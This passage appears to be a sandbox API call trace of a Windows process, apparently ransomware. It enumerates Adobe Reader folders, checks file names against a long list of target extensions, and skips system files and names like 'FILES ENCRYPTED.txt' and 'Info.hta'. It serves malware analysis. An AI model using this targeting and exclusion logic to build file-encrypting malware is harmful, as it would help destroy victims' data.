lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.921] lstrlenW (lpString=".accdc") returned 6 [0261.921] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.921] lstrlenW (lpString=".accde") returned 6 [0261.921] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.921] lstrlenW (lpString=".accdt") returned 6 [0261.921] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.921] lstrlenW (lpString=".accdw") returned 6 [0261.922] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.922] lstrlenW (lpString=".adb") returned 4 [0261.922] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.922] lstrlenW (lpString=".adp") returned 4 [0261.922] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.922] lstrlenW (lpString=".ai") returned 3 [0261.922] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.922] lstrlenW (lpString=".ai3") returned 4 [0261.922] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.922] lstrlenW (lpString=".ai4") returned 4 [0261.922] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.922] lstrlenW (lpString=".ai5") returned 4 [0261.922] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.922] lstrlenW (lpString=".ai6") returned 4 [0261.922] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.922] lstrlenW (lpString=".ai7") returned 4 [0261.922] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.922] lstrlenW (lpString=".ai8") returned 4 [0261.922] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.922] lstrlenW (lpString=".anim") returned 5 [0261.922] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.922] lstrlenW (lpString=".arw") returned 4 [0261.922] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.922] lstrlenW (lpString=".as") returned 3 [0261.923] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.923] lstrlenW (lpString=".asa") returned 4 [0261.923] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.923] lstrlenW (lpString=".asc") returned 4 [0261.923] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.923] lstrlenW (lpString=".ascx") returned 5 [0261.923] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.923] lstrlenW (lpString=".asm") returned 4 [0261.923] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.923] lstrlenW (lpString=".asmx") returned 5 [0261.923] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.923] lstrlenW (lpString=".asp") returned 4 [0261.923] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.923] lstrlenW (lpString=".aspx") returned 5 [0261.923] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.923] lstrlenW (lpString=".asr") returned 4 [0261.923] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.923] lstrlenW (lpString=".asx") returned 4 [0261.923] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.923] lstrlenW (lpString=".avi") returned 4 [0261.923] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.923] lstrlenW (lpString=".avs") returned 4 [0261.923] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.924] lstrlenW (lpString=".backup") returned 7 [0261.924] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.924] lstrlenW (lpString=".bak") returned 4 [0261.924] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.924] lstrlenW (lpString=".bay") returned 4 [0261.924] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.924] lstrlenW (lpString=".bd") returned 3 [0261.924] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.924] lstrlenW (lpString=".bin") returned 4 [0261.924] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.924] lstrlenW (lpString=".bmp") returned 4 [0261.924] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.924] lstrlenW (lpString=".bz2") returned 4 [0261.924] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.924] lstrlenW (lpString=".c") returned 2 [0261.924] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.924] lstrlenW (lpString=".cdr") returned 4 [0261.924] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.924] lstrlenW (lpString=".cer") returned 4 [0261.924] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.924] lstrlenW (lpString=".cf") returned 3 [0261.924] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.924] lstrlenW (lpString=".cfc") returned 4 [0261.924] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.925] lstrlenW (lpString=".cfm") returned 4 [0261.925] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.925] lstrlenW (lpString=".cfml") returned 5 [0261.925] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.925] lstrlenW (lpString=".cfu") returned 4 [0261.925] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.925] lstrlenW (lpString=".chm") returned 4 [0261.925] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.925] lstrlenW (lpString=".cin") returned 4 [0261.925] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.925] lstrlenW (lpString=".class") returned 6 [0261.925] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.925] lstrlenW (lpString=".clx") returned 4 [0261.925] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.925] lstrlenW (lpString=".config") returned 7 [0261.925] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.925] lstrlenW (lpString=".cpp") returned 4 [0261.925] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.925] lstrlenW (lpString=".cr2") returned 4 [0261.925] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.925] lstrlenW (lpString=".crt") returned 4 [0261.925] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.925] lstrlenW (lpString=".crw") returned 4 [0261.926] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".cs") returned 3 [0261.926] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.926] lstrlenW (lpString=".css") returned 4 [0261.926] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".csv") returned 4 [0261.926] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".cub") returned 4 [0261.926] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".dae") returned 4 [0261.926] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".dat") returned 4 [0261.926] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".db") returned 3 [0261.926] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.926] lstrlenW (lpString=".dbf") returned 4 [0261.926] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".dbx") returned 4 [0261.926] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".dc3") returned 4 [0261.926] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".dcm") returned 4 [0261.926] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.926] lstrlenW (lpString=".dcr") returned 4 [0261.926] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.927] lstrlenW (lpString=".der") returned 4 [0261.927] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.927] lstrlenW (lpString=".dib") returned 4 [0261.927] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.927] lstrlenW (lpString=".dic") returned 4 [0261.927] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.927] lstrlenW (lpString=".dif") returned 4 [0261.927] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.927] lstrlenW (lpString=".divx") returned 5 [0261.927] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.927] lstrlenW (lpString=".djvu") returned 5 [0261.927] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.927] lstrlenW (lpString=".dng") returned 4 [0261.927] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.927] lstrlenW (lpString=".doc") returned 4 [0261.927] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.927] lstrlenW (lpString=".docm") returned 5 [0261.927] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.927] lstrlenW (lpString=".docx") returned 5 [0261.927] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.927] lstrlenW (lpString=".dot") returned 4 [0261.927] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.927] lstrlenW (lpString=".dotm") returned 5 [0261.927] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.927] lstrlenW (lpString=".dotx") returned 5 [0261.927] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.927] lstrlenW (lpString=".dpx") returned 4 [0261.928] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.928] lstrlenW (lpString=".dqy") returned 4 [0262.112] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.112] lstrlenW (lpString=".dsn") returned 4 [0262.112] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.112] lstrlenW (lpString=".dt") returned 3 [0262.112] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.112] lstrlenW (lpString=".dtd") returned 4 [0262.112] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.112] lstrlenW (lpString=".dwg") returned 4 [0262.112] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.112] lstrlenW (lpString=".dwt") returned 4 [0262.112] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.112] lstrlenW (lpString=".dx") returned 3 [0262.112] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.112] lstrlenW (lpString=".dxf") returned 4 [0262.112] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.112] lstrlenW (lpString=".edml") returned 5 [0262.112] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.112] lstrlenW (lpString=".efd") returned 4 [0262.113] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.113] lstrlenW (lpString=".elf") returned 4 [0262.113] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.113] lstrlenW (lpString=".emf") returned 4 [0262.113] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.113] lstrlenW (lpString=".emz") returned 4 [0262.113] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.113] lstrlenW (lpString=".epf") returned 4 [0262.113] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.113] lstrlenW (lpString=".eps") returned 4 [0262.113] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.113] lstrlenW (lpString=".epsf") returned 5 [0262.113] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.113] lstrlenW (lpString=".epsp") returned 5 [0262.113] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.114] lstrlenW (lpString=".erf") returned 4 [0262.114] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0262.114] lstrlenW (lpString=".exr") returned 4 [0262.114] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.114] lstrlenW (lpString=".f4v") returned 4 [0262.114] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.114] lstrlenW (lpString=".fido") returned 5 [0262.114] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.114] lstrlenW (lpString=".flm") returned 4 [0262.114] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.114] lstrlenW (lpString=".flv") returned 4 [0262.114] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.114] lstrlenW (lpString=".frm") returned 4 [0262.114] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0262.114] lstrlenW (lpString=".fxg") returned 4 [0262.114] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0262.114] lstrlenW (lpString=".geo") returned 4 [0262.114] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0262.114] lstrlenW (lpString=".gif") returned 4 [0262.114] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0262.114] lstrlenW (lpString=".grs") returned 4 [0262.115] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0262.115] lstrlenW (lpString=".gz") returned 3 [0262.115] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0262.115] lstrlenW (lpString=".h") returned 2 [0262.115] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0262.115] lstrlenW (lpString=".hdr") returned 4 [0262.115] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0262.115] lstrlenW (lpString=".hpp") returned 4 [0262.115] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0262.115] lstrlenW (lpString=".hta") returned 4 [0262.115] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0262.115] lstrlenW (lpString=".htc") returned 4 [0262.115] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0262.115] lstrlenW (lpString=".htm") returned 4 [0262.115] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0262.115] lstrlenW (lpString=".html") returned 5 [0262.115] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0262.115] lstrlenW (lpString=".icb") returned 4 [0262.115] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0262.115] lstrlenW (lpString=".ics") returned 4 [0262.115] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".iff") returned 4 [0262.116] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".inc") returned 4 [0262.116] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".indd") returned 5 [0262.116] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0262.116] lstrlenW (lpString=".ini") returned 4 [0262.116] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".iqy") returned 4 [0262.116] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".j2c") returned 4 [0262.116] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".j2k") returned 4 [0262.116] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".java") returned 5 [0262.116] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0262.116] lstrlenW (lpString=".jp2") returned 4 [0262.116] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".jpc") returned 4 [0262.116] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".jpe") returned 4 [0262.116] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0262.116] lstrlenW (lpString=".jpeg") returned 5 [0262.116] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0262.116] lstrlenW (lpString=".jpf") returned 4 [0262.117] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0262.117] lstrlenW (lpString=".jpg") returned 4 [0262.117] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0262.117] lstrlenW (lpString=".jpx") returned 4 [0262.117] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0262.117] lstrlenW (lpString=".js") returned 3 [0262.117] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0262.117] lstrlenW (lpString="ui-strings.js") returned 13 [0262.117] lstrlenW (lpString=".love$") returned 6 [0262.117] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0262.117] lstrlenW (lpString="ui-strings.js") returned 13 [0262.117] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0262.117] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0262.117] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0262.117] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0262.117] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0262.117] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0262.117] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0262.117] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0262.117] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\ui-strings.js") returned 119 [0262.118] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.118] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0262.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0262.118] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0262.118] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu") returned 105 [0262.118] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu") returned 1 [0262.118] lstrlenW (lpString="hu-hu") returned 5 [0262.118] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hu-hu") returned -1 [0262.118] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0262.118] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu") returned 105 [0262.118] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0262.120] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.120] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.120] lstrlenW (lpString="ui-strings.js") returned 13 [0262.120] lstrlenW (lpString=".1cd") returned 4 [0262.120] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.121] lstrlenW (lpString=".3ds") returned 4 [0262.121] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.121] lstrlenW (lpString=".3fr") returned 4 [0262.121] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.121] lstrlenW (lpString=".3g2") returned 4 [0262.121] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.121] lstrlenW (lpString=".3gp") returned 4 [0262.121] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.121] lstrlenW (lpString=".7z") returned 3 [0262.121] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.121] lstrlenW (lpString=".accda") returned 6 [0262.121] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.121] lstrlenW (lpString=".accdb") returned 6 [0262.121] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.121] lstrlenW (lpString=".accdc") returned 6 [0262.121] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.121] lstrlenW (lpString=".accde") returned 6 [0262.121] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.121] lstrlenW (lpString=".accdt") returned 6 [0262.121] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.121] lstrlenW (lpString=".accdw") returned 6 [0262.121] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.122] lstrlenW (lpString=".adb") returned 4 [0262.122] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.122] lstrlenW (lpString=".adp") returned 4 [0262.122] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.122] lstrlenW (lpString=".ai") returned 3 [0262.122] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.122] lstrlenW (lpString=".ai3") returned 4 [0262.122] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.122] lstrlenW (lpString=".ai4") returned 4 [0262.122] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.122] lstrlenW (lpString=".ai5") returned 4 [0262.122] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.122] lstrlenW (lpString=".ai6") returned 4 [0262.122] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.122] lstrlenW (lpString=".ai7") returned 4 [0262.122] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.122] lstrlenW (lpString=".ai8") returned 4 [0262.123] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.123] lstrlenW (lpString=".anim") returned 5 [0262.123] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.123] lstrlenW (lpString=".arw") returned 4 [0262.123] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.123] lstrlenW (lpString=".as") returned 3 [0262.123] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.123] lstrlenW (lpString=".asa") returned 4 [0262.123] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.123] lstrlenW (lpString=".asc") returned 4 [0262.123] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.123] lstrlenW (lpString=".ascx") returned 5 [0262.123] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.123] lstrlenW (lpString=".asm") returned 4 [0262.123] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.123] lstrlenW (lpString=".asmx") returned 5 [0262.123] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.123] lstrlenW (lpString=".asp") returned 4 [0262.123] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.123] lstrlenW (lpString=".aspx") returned 5 [0262.123] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.123] lstrlenW (lpString=".asr") returned 4 [0262.124] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.124] lstrlenW (lpString=".asx") returned 4 [0262.124] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.124] lstrlenW (lpString=".avi") returned 4 [0262.124] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.124] lstrlenW (lpString=".avs") returned 4 [0262.124] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.124] lstrlenW (lpString=".backup") returned 7 [0262.124] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.124] lstrlenW (lpString=".bak") returned 4 [0262.124] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.124] lstrlenW (lpString=".bay") returned 4 [0262.124] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.124] lstrlenW (lpString=".bd") returned 3 [0262.124] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.124] lstrlenW (lpString=".bin") returned 4 [0262.124] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.124] lstrlenW (lpString=".bmp") returned 4 [0262.124] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.124] lstrlenW (lpString=".bz2") returned 4 [0262.124] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.124] lstrlenW (lpString=".c") returned 2 [0262.125] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.125] lstrlenW (lpString=".cdr") returned 4 [0262.125] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.125] lstrlenW (lpString=".cer") returned 4 [0262.125] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.125] lstrlenW (lpString=".cf") returned 3 [0262.125] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.125] lstrlenW (lpString=".cfc") returned 4 [0262.125] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.125] lstrlenW (lpString=".cfm") returned 4 [0262.125] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.125] lstrlenW (lpString=".cfml") returned 5 [0262.125] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.125] lstrlenW (lpString=".cfu") returned 4 [0262.125] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.125] lstrlenW (lpString=".chm") returned 4 [0262.125] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.125] lstrlenW (lpString=".cin") returned 4 [0262.125] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.126] lstrlenW (lpString=".class") returned 6 [0262.126] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.126] lstrlenW (lpString=".clx") returned 4 [0262.126] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.126] lstrlenW (lpString=".config") returned 7 [0262.126] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.126] lstrlenW (lpString=".cpp") returned 4 [0262.126] lstrcmpiW (lpString1=".cpp", lpString2="s.js") 